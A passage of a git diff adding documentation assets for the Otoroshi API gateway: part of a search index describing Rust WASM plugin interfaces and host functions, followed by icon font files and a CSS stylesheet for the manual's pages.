OtoroshiRequest,\n pub otoroshi_request: OtoroshiRequest,\n pub backend: Backend,\n pub apikey: Option,\n pub user: Option,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub route: Route,\n pub request_body_bytes: Option>,\n}\n```\n\n### WasmBackendCall\n\nA backend call plugin can be used to simulate a backend behavior in otoroshi. For instance the static backend of otoroshi return the content of a file\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn call_backend(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmBackendContext {\n pub snowflake: Option,\n pub backend: Backend,\n pub apikey: Option,\n pub user: Option,\n pub raw_request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub route: Route,\n pub request_body_bytes: Option>,\n pub request: OtoroshiRequest,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmBackendResponse {\n pub headers: Option>,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n pub status: u32,\n}\n```\n\n### WasmResponseTransformer\n\nA response transformer plugin can be used to compose or transform the response that will be sent back to the client\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn transform_response(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmResponseTransformerContext {\n pub snowflake: Option,\n pub raw_response: OtoroshiResponse,\n pub otoroshi_response: OtoroshiResponse,\n pub apikey: Option,\n pub user: Option,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub route: Route,\n pub response_body_bytes: Option>,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmTransformerResponse {\n pub headers: HashMap,\n pub cookies: Value,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n}\n```\n\n### WasmSink\n\nA sink is a kind of plugin that can be used to respond to any unmatched request before otoroshi sends back a 404 response\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn sink_matches(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[plugin_fn]\npub fn sink_handle(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmSinkContext {\n pub snowflake: Option,\n pub request: RawRequest,\n pub config: Value,\n pub global_config: Value,\n pub attrs: Value,\n pub origin: String,\n pub status: u32,\n pub message: String,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmSinkMatchesResponse {\n pub result: bool,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct WasmSinkHandleResponse {\n pub status: u32,\n pub headers: HashMap,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n}\n```\n\n### WasmRequestHandler\n\nA request handler is a very special kind of plugin that can bypass the otoroshi proxy engine on specific domains and completely handles the request/response lifecycle on it's own.\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn can_handle_request(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[plugin_fn]\npub fn handle_request(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmRequestHandlerContext {\n pub request: RawRequest\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmRequestHandlerResponse {\n pub status: u32,\n pub headers: HashMap,\n pub body_bytes: Option>,\n pub body_base64: Option,\n pub body_json: Option,\n pub body_str: Option,\n}\n```\n\n### WasmJob\n\nA job is a plugin that can run periodically an do whatever you want. Typically, the kubernetes plugins of otoroshi are jobs that periodically sync stuff between otoroshi and kubernetes using the kube-api\n\n```rs\nuse extism_pdk::*;\n\n#[plugin_fn]\npub fn job_run(Json(_context): Json) -> FnResult> {\n ///\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmJobContext {\n pub attrs: Value,\n pub global_config: Value,\n pub snowflake: Option,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct WasmJobResult {\n\n}\n```\n\n### Common types\n\n```rs\nuse serde::{Deserialize, Serialize};\nuse serde_json::Value;\nuse std::collections::HashMap;\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct Backend {\n pub id: String,\n pub hostname: String,\n pub port: u32,\n pub tls: bool,\n pub weight: u32,\n pub protocol: String,\n pub ip_address: Option,\n pub predicate: Value,\n pub tls_config: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct Apikey {\n #[serde(alias = \"clientId\")]\n pub client_id: String,\n #[serde(alias = \"clientName\")]\n pub client_name: String,\n pub metadata: HashMap,\n pub tags: Vec,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct User {\n pub name: String,\n pub email: String,\n pub profile: Value,\n pub metadata: HashMap,\n pub tags: Vec,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct RawRequest {\n pub id: u32,\n pub method: String,\n pub headers: HashMap,\n pub cookies: Value,\n pub tls: bool,\n pub uri: String,\n pub path: String,\n pub version: String,\n pub has_body: bool,\n pub remote: String,\n pub client_cert_chain: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct Frontend {\n pub domains: Vec,\n pub strict_path: Option,\n pub exact: bool,\n pub headers: HashMap,\n pub query: HashMap,\n pub methods: Vec,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct HealthCheck {\n pub enabled: bool,\n pub url: String,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct RouteBackend {\n pub targets: Vec,\n pub root: String,\n pub rewrite: bool,\n pub load_balancing: Value,\n pub client: Value,\n pub health_check: Option,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct Route {\n pub id: String,\n pub name: String,\n pub description: String,\n pub tags: Vec,\n pub metadata: HashMap,\n pub enabled: bool,\n pub debug_flow: bool,\n pub export_reporting: bool,\n pub capture: bool,\n pub groups: Vec,\n pub frontend: Frontend,\n pub backend: RouteBackend,\n pub backend_ref: Option,\n pub plugins: Value,\n}\n\n#[derive(Serialize, Deserialize)]\npub struct OtoroshiResponse {\n pub status: u32,\n pub headers: HashMap,\n pub cookies: Value,\n}\n\n#[derive(Serialize, Deserialize, Debug)]\npub struct OtoroshiRequest {\n pub url: String,\n pub method: String,\n pub headers: HashMap,\n pub version: String,\n pub client_cert_chain: Value,\n pub backend: Option,\n pub cookies: Value,\n}\n```\n\n## Otoroshi interop. with host functions\n\notoroshi provides some host function in order make wasm interact with otoroshi internals. You can\n\n- access wasi resources\n- access http resources\n- access otoroshi internal state\n- access otoroshi internal configuration\n- access otoroshi static configuration\n- access plugin scoped in-memory key/value storage\n- access global in-memory key/value storage\n- access plugin scoped persistent key/value storage\n- access global persistent key/value storage\n\n### authorizations\n\nall the previously listed host functions are enabled with specific authorizations to avoid security issues with third party plugins. You can enable/disable the host function from the wasm plugin entity\n\n@@@ div { .centered-img }\n\n@@@\n\n\n### host functions abi\n\nyou'll find here the raw signatures for the otoroshi host functions. we are currently in the process of writing higher level functions to hide the complexity.\n\nevery time you the the following signature: `(context: u64, size: u64) -> u64` it means that otoroshi is expecting for a pointer to the call context (which is a json string) and it's size. The return is a pointer to the response (which is a json string).\n\nthe signature `(unused: u64) -> u64` means that there is no need for a params but as we technically need one (and hope to don't need one in the future), you have to pass something like `0` as parameter.\n\n```rust\nextern \"C\" {\n // log messages in otoroshi (log levels are 0 to 6 for trace, debug, info, warn, error, critical, max)\n fn proxy_log(logLevel: i32, message: u64, size: u64) -> i32;\n // trigger an otoroshi wasm event that can be exported through data exporters\n fn proxy_log_event(context: u64, size: u64) -> u64;\n // an http client\n fn proxy_http_call(context: u64, size: u64) -> u64;\n // access the current otoroshi state containing a snapshot of all otoroshi entities\n fn proxy_state(context: u64) -> u64;\n fn proxy_state_value(context: u64, size: u64) -> u64;\n // access the current otoroshi cluster configuration\n fn proxy_cluster_state(context: u64) -> u64;\n fn proxy_cluster_state_value(context: u64, size: u64) -> u64;\n // access the current otoroshi static configuration\n fn proxy_global_config(unused: u64) -> u64;\n // access the current otoroshi dynamic configuration\n fn proxy_config(unused: u64) -> u64;\n // access a persistent key/value store shared by every wasm plugins\n fn proxy_datastore_keys(context: u64, size: u64) -> u64;\n fn proxy_datastore_get(context: u64, size: u64) -> u64;\n fn proxy_datastore_exists(context: u64, size: u64) -> u64;\n fn proxy_datastore_pttl(context: u64, size: u64) -> u64;\n fn proxy_datastore_setnx(context: u64, size: u64) -> u64;\n fn proxy_datastore_del(context: u64, size: u64) -> u64;\n fn proxy_datastore_incrby(context: u64, size: u64) -> u64;\n fn proxy_datastore_pexpire(context: u64, size: u64) -> u64;\n fn proxy_datastore_all_matching(context: u64, size: u64) -> u64;\n // access a persistent key/value store for the current plugin instance only\n fn proxy_plugin_datastore_keys(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_get(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_exists(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_pttl(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_setnx(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_del(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_incrby(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_pexpire(context: u64, size: u64) -> u64;\n fn proxy_plugin_datastore_all_matching(context: u64, size: u64) -> u64;\n // access an in memory key/value store for the current plugin instance only\n fn proxy_plugin_map_set(context: u64, size: u64) -> u64;\n fn proxy_plugin_map_get(context: u64, size: u64) -> u64;\n fn proxy_plugin_map(unused: u64) -> u64;\n // access an in memory key/value store shared by every wasm plugins\n fn proxy_global_map_set(context: u64, size: u64) -> u64;\n fn proxy_global_map_get(context: u64, size: u64) -> u64;\n fn proxy_global_map(unused: u64) -> u64;\n}\n```\n\nright know, when using the Wasmo, a default idiomatic implementation is provided for `TinyGo` and `Rust`\n\nhost.rs\n: @@snip [host.rs](../snippets/wasmo/host.rs) \n\nhost.go\n: @@snip [host.go](../snippets/wasmo/host.go) \n"}] \ No newline at end of file diff --git a/docs/manual/css/fonts/icons.eot b/docs/manual/css/fonts/icons.eot new file mode 100644 index 0000000000000000000000000000000000000000..a5203e8766235a87364882867e37bfd1027968e6 GIT binary patch literal 1760 zcmc&!O>7%Q6n?Y+{^>d~?wYK;>XJB4XoyMHwG&xIaA+M+O>xsILIMGn>(~~FZP^KG z5E4Bg#04q6RN|5xxgsvPpduB-0X2;{a4S*{s2u3E2T&#Vo7r^|KwM$8v-95fe&+AZ zcc>9vKxZToZxX2?ApqHCTq;+%*9_?H z8&_ZSD%&4h2znFxN^QN`rEi}98T$9=%Z+NkI~X7n4tYvkP071vc5liC^GSoVN(R6(yK>T%A@#Mz7n`FiP$!&WUw+@1-2B7k7o*T_ykv~Gtku6}HIX`zw1%72{JR(Jk zxOU@ccgTx7;w_K{Z~ua&3Pk*vs8nCaCXS~Zx}5MGLjT9exBDM7UVjqKImhTy)EC2hhz7DmI*kXiOfKHJUsnozz6fNMBD5FC z8t?;N)k+9R7aLfabBnH+4`Y6I zan_rghsSXW3KsJ(?7dR&^;?~`JD&xW|1;`{9K^8)=jO})A505WqEDHmHanaBx_}w@ hz-IsxI%it`<{8e5vz#I{j*0s@c;|;dxpI<2p91Q?%gO)% literal 0 HcmV?d00001 diff --git a/docs/manual/css/fonts/icons.svg b/docs/manual/css/fonts/icons.svg new file mode 100644 index 0000000000..58c7488236 --- /dev/null +++ b/docs/manual/css/fonts/icons.svg @@ -0,0 +1,12 @@ + + + +Generated by Fontastic.me + + + + + + + + diff --git a/docs/manual/css/fonts/icons.ttf b/docs/manual/css/fonts/icons.ttf new file mode 100644 index 0000000000000000000000000000000000000000..6da4b13e051887525a1dd1e6990a72b71caffbe9 GIT binary patch literal 1604 zcmc&!OK4+N82-+E=P@^J%p~@bFxNIs>(s{fW|EdL;w+q0nL1`hDT1PgOqvASBqXg& zMbL$a8)4iGxM`Pe#m#I)LB)kkr?_x8LKiYFob4!J;0bJn_heFas?g?VvE>)>E)-r>aF*afOwU7qrP41;j1TqCjOrN zdb2j@4TsDmLjbF}wYT}s!~0c0&C-6c)u`Rj9^QVBw)^a*776uNMW-!6oNaCI+%y~% zh`%6?Z*}W6Y+;}Aj}u3?Yd3p%0as{WC3ZWt?Z%gzPyG&PZ;^Yu*B$Kaz1Djd(C^aj zL9UJc+dE%>`ey9nBSaJuz)!!O|K>zG@WcagL~LPX_G5e|KO)2fKa&g@H_c~sJRihJ zN8xjq0vDk`+=32Etcy)@Yk_=(DSQZq>7l?=0`LTaR^7aO1DEjmj3SPQ$HW@LMO65ou^xqO?v{$Gkiv*#d3&`Y$ZiXZ%6%@WzmfIGu9r zGB%F!|0Lyd|AQv)pTd1Eh(mFRC$I*rlnP!d8572Iu6W^DQCcabl4ld9F_$BkNF}|M z$C3%EGt+Z)SSit&Ud0P@Ip2dUVJeyW(F{kdSS*>jTF$IzXLD)GipQrGuGqGnwg1Xw zuFcM$b4)W74>{Ruu~>9s(ss3kGV++mx8DV3lcupCGQyCeICEB3|BR3$t1Wov zgg6eVYGgqby4h~kW2&|gQ5EaZiiE>={|M>Ee#8*!!GW$v_6@_jXIb*vvPE$_xKM)c zAsXlkOiTy53YYJEbgwk}d=}_BBDfRi2Kgg-tF;iBF!PRd1vcV=uJYZS4|I(_p9H#& zBn|@IApafOsH2Mx20**s?ND4t15NC*jvD%ejppuFjY`G$+wo*bf+vg^-BSzKIQ^p=+CahhUW%m%0Fv$(cDxywXy zLTohpgLb#$F6RmU9d+_K_}d=r+ejac{AtN5_(&*vtGhdB__W}EF!}*(V)@g`H!rwf W@|V+mBsu?lj^6m;PYM3{hyD%0p}RK# literal 0 HcmV?d00001 diff --git a/docs/manual/css/fonts/icons.woff b/docs/manual/css/fonts/icons.woff new file mode 100644 index 0000000000000000000000000000000000000000..2c7e917bb95f383d2c0966374109288e9522f31d GIT binary patch literal 1240 zcmXT-cXRU(3GruOV7bA-%>V>!GZ+{_G$wF%b5meoVB`SeJwW`9VWGiKH@6U91_q`h zK-E$}EK{s2Q|a#F>IM{h0OZR8u>yku1B-vKz7YchGmy*R1H=gdo9fMza}x`IVj#XX z(7YgqU25ktQWH~vVjVy+eIPbtc|ENr11Ja-+X3W*%u`{0!o-}BTT%fOy8+~LfiR0C zgK=(R1<1T7Kt3B7GY2r_CFZ6A#ohq2NAd9o@%n9tEY5%gc#Yl>~3~FYP@0n0#VVNjAZqLESg*AR^$}hezW-KFLrQg z*rI)o;!`Vn*X>F>$)*zhiAgQw(K@@>yT9iuFAU@MoOGqGzUG&sa}cxVi`1nitCpXA z<#~F#>V(+}+vnvjx*Kj?&+w1EGWqA;Uoo=Dtflf=9J$&VA3PjgCf2=K@NCzzUbzKt z%a_-_eY^i%b;AtdlRND*INqHMtBlZ^`_DZmQcdX!UBP zC>~?wW}T;j0tZEw<+<$qS8DKf*Q(XMTjVS)4(!VN_JHTglIgE^#?8=ia|zdB#7uB-p!sU9mTt!&}X>!QYZg;LAn zUL7q-Q%%m}xLBMuL#*;2Q}(L^l6n~#?61>qFXh{68-0Xx@f^LjonLu70!~izE-G*T zY@^w7{glp^IXR(wCzZas{!~yb>tMy-r(9cq`RbZ|6F*))<8Uk2&UN2!8GOuqU|{}9 zNWuQ}-}tZp-kY^w;Fn0Qdtl6@Ii>n~L%M*G*rp5IZ#^6y9ltR1)a-i3SI4gCRm@3F zNJvOwX!=}uysq&@_xY{g4ree#GIAI)Fo5Jz5)vLTCvma~BqSxUI0>9&dIpqWNnkJq zMm|VBEh%Bnfdi)w9DH$j#<2qj9`G&QZ{%UL#lXP8a6^&N0R~|K^8*%)nd>xp_;^lF zohc#zr~bf#;}!q@TP`qAj@im2V8p~A8^W_5;*PY21W7hGHh~X}pCk^}h_Nv%oMmkB zNtpTcl+XYF%A5bW-%V|J#l-ApCh~3p>y{E_hLtxtR>9oKko5oaq~gavbN3k)7#lVm zIQl&5_ronJ&4Q1Ok9~H~V`q+#V$eUrbrGiC=KKMmQ;sk&^_-WGkPKiHX3*cy2ukcs z5NymK31lz?0J8wduep7;S%)1&TI_F5a(*;H$@SIIR0k&^iJsLVRt?o` z3!5mG^Sqk6Vb|7W3#P35x_+`=o##2P{b7qHEiOE~v2fq!WqMwl%@XIA%v}Fz*P1Ci wY|~bo#_i)TUF`VSY1=jVD)SkuG~So|Wfu5k1T2xj@#w(T!;=B@ZXW|H08PK)9RL6T literal 0 HcmV?d00001 diff --git a/docs/manual/css/page.css b/docs/manual/css/page.css new file mode 100644 index 0000000000..229ca90d15 --- /dev/null +++ b/docs/manual/css/page.css @@ -0,0 +1,1304 @@ +@charset "UTF-8"; + +/* fonts */ + +@font-face { + font-family: "icons"; + src: url("fonts/icons.eot"); + src: url("fonts/icons.eot?#iefix") format("embedded-opentype"), + url("fonts/icons.woff") format("woff"), + url("fonts/icons.ttf") format("truetype"), + url("fonts/icons.svg#icons") format("svg"); + font-weight: normal; + font-style: normal; +} + +/* body */ + +body { + background: #fff; + padding: 0; + margin: 0; + font-weight: 400; + font-style: normal; + line-height: 1.4em; + position: relative; + cursor: default; + /* font: 1em "Roboto", "Helvetica Neue", "Helvetica", Arial, sans-serif; */ + font-size: 1em; + font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji"; + color: #333333; + font-smoothing: antialiased; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; + -webkit-font-size-adjust: none; + text-rendering: optimizeLegibility; +} + +/* headers */ + +h1 { + /* font-family: inherit; */ + font-size: 2.6em; + font-weight: 300; + color: #333333; + margin-bottom: 0.4em; + margin-top: 1.1em; +} + +h1:first-child { + margin-top: 0; +} + +h2 { + /* font-family: inherit; */ + font-size: 1.8em; + font-weight: 400; + color: #333333; + margin-bottom: 0.2em; + margin-top: 1.3em; +} + +h2:first-child { + margin-top: 0; +} + +h3 { + /* font-family: inherit; */ + font-size: 1.125em; + font-weight: 700; + color: #333333; + margin-top: 1.3em; +} + +h3:first-child { + margin-top: 0; +} + +h4 { + /* font-family: inherit; */ + font-size: 1em; + font-weight: 700; + color: #333333; + margin-top: 1.3em; +} + +h4:first-child { + margin-top: 0; +} + +h5 { + /* font-family: inherit; */ + font-size: 1em; + color: #333333; + margin-top: 1.3em; +} + +h5:first-child { + margin-top: 0; +} + +h6 { + /* font-family: inherit; */ + font-size: 1em; + color: #333333; + margin-top: 1.3em; +} + +h6:first-child { + margin-top: 0; +} + +/* text */ + +p { + /* font-family: inherit; */ + font-size: 1em; + color: #333333; + line-height: 1.45em; + margin: 1em 0em; +} + +/* links */ + +a { + /* font-family: inherit; */ + color: #4078c0; + text-decoration: none; + cursor: pointer; +} + +a:link { + color: #4078c0; +} + +a:visited { + color: #4078c0; +} + +a:hover { + color: #4078c0; + text-decoration: underline; +} + +a:active { + color: #4078c0; +} + +/* header anchors */ + +a.anchor .anchor-link:before { + content: "§"; + font-size: 18px; + font-family: "icons" !important; + font-style: normal !important; + font-weight: normal !important; + font-variant: normal !important; + text-transform: none !important; + speak: none; + line-height: 1.2; + vertical-align: middle; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +h1>a.anchor, +h2>a.anchor, +h3>a.anchor, +h4>a.anchor, +h5>a.anchor, +h6>a.anchor { + visibility: hidden; + position: absolute; + display: block; + width: 30px; + margin-left: -30px; + padding-right: 3px; + text-align: right; + text-decoration: none; +} + +h1:hover>a.anchor, +h2:hover>a.anchor, +h3:hover>a.anchor, +h4:hover>a.anchor, +h5:hover>a.anchor, +h6:hover>a.anchor { + visibility: visible; + color: inherit; + text-decoration: none; +} + + +/* table */ + +table th { + background: #ffffff; + border: solid 1px #dddddd; +} + +table td { + background: #ffffff; + border: solid 1px #dddddd; +} + +/* code */ + +pre { + padding: 1rem !important; + border: 1px solid #dddddd !important; + margin: 0 0 1rem 0 !important; + white-space: pre; + overflow: auto; + line-height: 0.9em !important; + border-radius: 4px; +} + +code { + line-height: 1.45em !important; + font-family: Consolas, "Liberation Mono", Courier, monospace; + font-size: 0.85em !important; + font-weight: normal !important; + padding: 0 !important; +} + +pre>code { + background: none; + border: none; +} + +p code { + border: none; + color: #0c323b; + padding: 0 0.2em !important; +} + +li code { + border: none; + color: #0c323b; + padding: 0 0.2em !important; +} + +/* Github-like */ + +pre.prettyprint span.str { + color: #183691; +} + +pre.prettyprint span.kwd { + color: #000000; + font-weight: bold; +} + +pre.prettyprint span.com { + color: #999988; + font-style: italic; +} + +pre.prettyprint span.typ { + color: #445588; + font-weight: bold; +} + +pre.prettyprint span.lit { + color: #009999 +} + +pre.prettyprint span.pun { + color: #000000; + font-weight: bold; +} + +pre.prettyprint span.pln { + color: #000000 +} + +pre.prettyprint span.tag { + color: navy +} + +pre.prettyprint span.atn { + color: teal +} + +pre.prettyprint span.atv { + color: #dd1144 +} + +pre.prettyprint span.dec { + color: #990000 +} + +pre.prettyprint span.var { + color: #000000 +} + +pre.prettyprint span.fun { + color: #990000 +} + +/* tabbed code snippets */ + +dl.tabbed { + position: relative; +} + +dl.tabbed dt { + float: left; + display: inline-block; + position: relative; + left: 1px; + margin-left: -1px; +} + +dl.tabbed dt.current { + z-index: 2; +} + +dl.tabbed dt a { + display: block; + border: 1px solid #f7f7f7; + padding: 0 20px; + height: 30px; + line-height: 2; + color: #4078c0; + text-decoration: none; +} + +dl.tabbed dt a:hover { + background: #f7f7f7; +} + +dl.tabbed dt.first a { + border-top-left-radius: 5px; +} + +dl.tabbed dt.last a { + border-top-right-radius: 5px; +} + +dl.tabbed dt.current a { + background-color: #f7f7f7; + border-color: #dddddd; + border-bottom: 0; + padding-bottom: 1px; +} + +dl.tabbed dt.current a { + color: #0c323b; + outline: none; +} + +dl.tabbed dd { + position: absolute; + width: 100%; + left: 0; + top: 29px; +} + +dl.tabbed dd.current { + z-index: 1; +} + +dl.tabbed dd pre { + border-top-left-radius: 0 !important; +} + +dl.tabbed dd.has-note pre { + border-bottom: 0 !important; + border-bottom-left-radius: 0 !important; + border-bottom-right-radius: 0 !important; + margin-bottom: 0 !important; +} + +dl.tabbed dd.has-note blockquote { + color: #0c323b; + border: solid #dddddd; + border-width: 1px 1px 1px 10px; + border-bottom-left-radius: 5px; + border-bottom-right-radius: 5px; + margin-top: 0; + font-style: italic; +} + +/* blockquotes */ + +blockquote { + border-left: 4px solid rgb(221, 221, 221); + margin: 1.5em 0; + padding: 1em 20px; + color: rgb(119, 119, 119); + line-height: 1.4em; +} + +blockquote p { + margin: 0; + line-height: 1.4em; +} + +blockquote p~p { + margin-top: 1em; +} + +blockquote p code { + background: #fff; + padding-right: 0.4em !important; +} + +/* callout */ + +.callout { + border: none; + border-left: 10px solid #4078c0; + background-color: rgba(64, 120, 192, 0.1); +} + +.callout.warning { + border-color: #DB504A; + background-color: #fff3d9; +} + +.callout .callout-title { + font-weight: bold; + margin-bottom: 0.33em; +} + +.callout div~p { + margin-top: 0; +} + +.callout p~p { + margin-top: 1em; + margin-bottom: 0; +} + +.callout p code { + background: #fff; + padding-right: 0.4em !important; +} + +/* footnotes */ + +small { + display: block; +} + +/* logo links */ + +.logo .svg-icon-logo { + height: 24px; + width: 112px; +} + +.logo:hover { + text-decoration: none; +} + +.svg-icon-logo .svg-icon-logo-text { + fill: #ffffff; +} + +.logo:hover .svg-icon-logo .svg-icon-logo-text { + fill: #4078C0; +} + +/* site header */ + +.site-header { + /* background: #fcfcfc; */ + border-bottom: solid 1px #cccccc; +} + +.site-header .title { + display: inline-flex; + float: left; + height: 70px; + line-height: 70px; + font-weight: 400; + font-size: 1.4em; + gap: .5rem; +} + +.site-header .title div:last-child { + font-weight: bold; + font-family: Impact, Haettenschweiler, 'Arial Narrow Bold', sans-serif; +} + +.site-header .title a:link, +.site-header .title a:visited { + color: #515151; +} + +.site-header .title a:hover { + color: #515151; + text-decoration: none; +} + +.site-header .off-canvas-toggle { + float: left; +} + +.site-header .off-canvas-toggle .svg-icon-menu { + height: 40px; + width: 40px; + margin-top: 1rem; + margin-right: 1rem; +} + +.site-header .off-canvas-toggle .svg-icon-menu .svg-icon-menu-path { + fill: #000; +} + +.site-header .off-canvas-toggle .svg-icon-menu:hover .svg-icon-menu-path { + fill: #4183C4; +} + +.site-header .logo { + float: right; + margin-top: 1rem; + text-align: right; + color: #000; +} + +/* page header */ + +.page-header { + background: #ffffff; + margin-top: 1rem; +} + +.page-header .nav-breadcrumbs { + border-bottom: 1px solid #c2d2dc; +} + +.page-header .nav-breadcrumbs ul { + display: block; + overflow: hidden; + margin: 0; + padding: 15px; + list-style: none; + font-size: 0.9em; +} + +.page-header .nav-breadcrumbs li { + float: left; + margin: 0; +} + +.page-header .nav-breadcrumbs li:before { + content: "/"; + margin: 0 5px; + color: #c2d2dc; +} + +.page-header .nav-breadcrumbs li:first-child:before { + content: ""; + margin: 0; +} + +.page-header .nav-breadcrumbs li a { + color: #4078c0; + font-weight: normal; +} + +/* content */ + +.site-content .row { + max-width: 90rem; +} + +.page-content { + background: #ffffff; + min-height: 600px; + padding: 1.25rem 0 2.5rem 0; +} + +/* sidebar */ + +.sidebar { + background: #ffffff; + width: 100%; + padding: 0; +} + +.sidebar .nav-toc { + padding-top: 1rem; +} + +/* navigation */ + +.nav-home { + background: #f7f7f7; + line-height: 2rem; + margin-bottom: 20px; +} + +.nav-home a { + display: block; + color: #000; + font-weight: bold; + font-size: 1rem; + padding-left: 1rem; +} + +.nav-home a.active { + background: #e7e7e7; +} + +.nav-home a:hover { + background: #e7e7e7; + text-decoration: none; +} + +.nav-home a .home-icon { + font-size: 18px; + font-family: "icons" !important; + font-style: normal !important; + font-weight: normal !important; + font-variant: normal !important; + text-transform: none !important; + speak: none; + line-height: 1.2; + vertical-align: middle; + padding-right: 5px; + -webkit-font-smoothing: antialiased; + -moz-osx-font-smoothing: grayscale; +} + +.nav-home .version-number { + padding-left: 1.4rem; + font-size: 0.9rem; + display: none; +} + +.nav-toc {} + +.nav-toc ul { + margin: 0; + padding: 0; + line-height: 2rem; +} + +.nav-toc ul>li { + list-style-type: none; + padding-left: 0; +} + +.nav-toc ul>li a { + display: block; + color: #000; + font-weight: bold; + font-size: 0.9rem; + padding-left: 1rem; +} + +.nav-toc ul>li a.active { + background: #e7e7e7; +} + +.nav-toc ul>li a:hover { + background: #e7e7e7; + text-decoration: none; +} + +.nav-toc ul>li>ul li { + margin-top: 0; + border-top: 0; + padding-top: 0; + padding-bottom: 0; +} + +.site-nav ul>li>ul li { + display: none; +} + +.snippet-button { + display: none; +} + +.nav-toc ul>li>ul li a { + font-size: 0.9rem; + font-weight: normal; + text-transform: none; + margin-top: 0; + padding-left: 1.2rem; +} + +/* .nav-toc ul > li a.active ul { + min-height: 200px; +} */ + +.nav-toc ul>li>ul>li>ul li a { + font-size: 0.8rem; + padding-left: 2rem; +} + + +/* site navigation */ + +.site-nav::-webkit-scrollbar { + display: none; +} + +.site-nav { + padding: 1rem; + /* border: solid 1px #cccccc; */ + background-color: #eee; + /* border-right: 2px solid #4078c0; */ + + overflow-y: scroll; + height: 100dvh; + height: 100%; + + position: fixed; + padding-top: 1rem; + + max-width: 270px; + min-width: 270px; +} + +.show-for-medium { + padding-left: 0; +} + +/* off-canvas navigation colours */ + +.off-canvas {} + +.off-canvas-nav { + padding: 0; +} + +.off-canvas-nav .nav-home { + background: #ffffff; +} + +.off-canvas-nav .nav-toc { + background: #ffffff; +} + +.off-canvas-nav .nav-toc ul>li {} + +.off-canvas-nav .nav-toc ul>li a {} + +.off-canvas-nav .nav-toc ul>li a.active {} + +.off-canvas-nav .nav-toc ul>li a:hover {} + +.off-canvas-nav .nav-toc ul>li a.active:hover {} + +.off-canvas-nav .nav-toc ul>li>ul li { + border-top: 0; +} + +/* page navigation */ + +.page-nav { + background: #ffffff; +} + +.page-nav .nav-title { + display: block; + color: #000; + font-weight: bold; +} + +.page-nav .nav-title h3 { + margin-bottom: 0 !important; +} + +.page-nav .nav-toc { + background: #ffffff; +} + +.page-nav .nav-toc ul>li { + border-top: 0; +} + +.page-nav .nav-toc ul>li a.active { + background: #4078c0; + color: #ffffff; +} + +.page-nav .nav-toc ul>li a.active:hover { + background: #4078c0; +} + +/* navigation next */ + +.nav-next { + background: #F7F7F7; + border-left: 10px solid #4078c0; + margin-top: 40px; + padding: 1em 20px; +} + +.nav-next p { + display: inline; + color: #0c323b; + font-style: italic; +} + +.nav-next a { + color: #4078c0; + font-weight: normal; +} + +/* table of contents -- ordered */ + +.toc a { + color: #000; + font-weight: normal; +} + +.toc ol li { + color: #778a99; +} + +.toc>ol>li>ol { + list-style-type: lower-alpha; +} + +.toc>ol>li>ol>li>ol { + list-style-type: lower-roman; +} + +.toc.main>ol>li { + margin-top: 0.5em; + font-size: 1.2em; +} + +.toc.main>ol>li { + counter-increment: root; +} + +.toc.main>ol>li>ol { + counter-reset: subsection; + list-style-type: none; + margin-left: 2rem; +} + +.toc.main>ol>li>ol>li { + counter-increment: subsection; +} + +.toc.main>ol>li>ol>li:before { + content: counter(root) "." counter(subsection) ". "; + margin-left: -2rem; + padding-right: 0.25rem; +} + +.toc.main>ol>li>ol>li>ol { + list-style-type: lower-alpha; +} + +.toc.main>ol>li>ol>li>ol>li>ol { + list-style-type: lower-roman; +} + +/* table of contents -- unordered */ + +.toc ul li { + color: #778a99; +} + +.toc.main>ul { + margin-left: 0; + padding-bottom: 2rem; + border-bottom: 1px solid #f3f6f6; +} + +.toc.main>ul>li { + margin-top: 2rem; + border-top: 1px solid #f3f6f6; + padding-top: 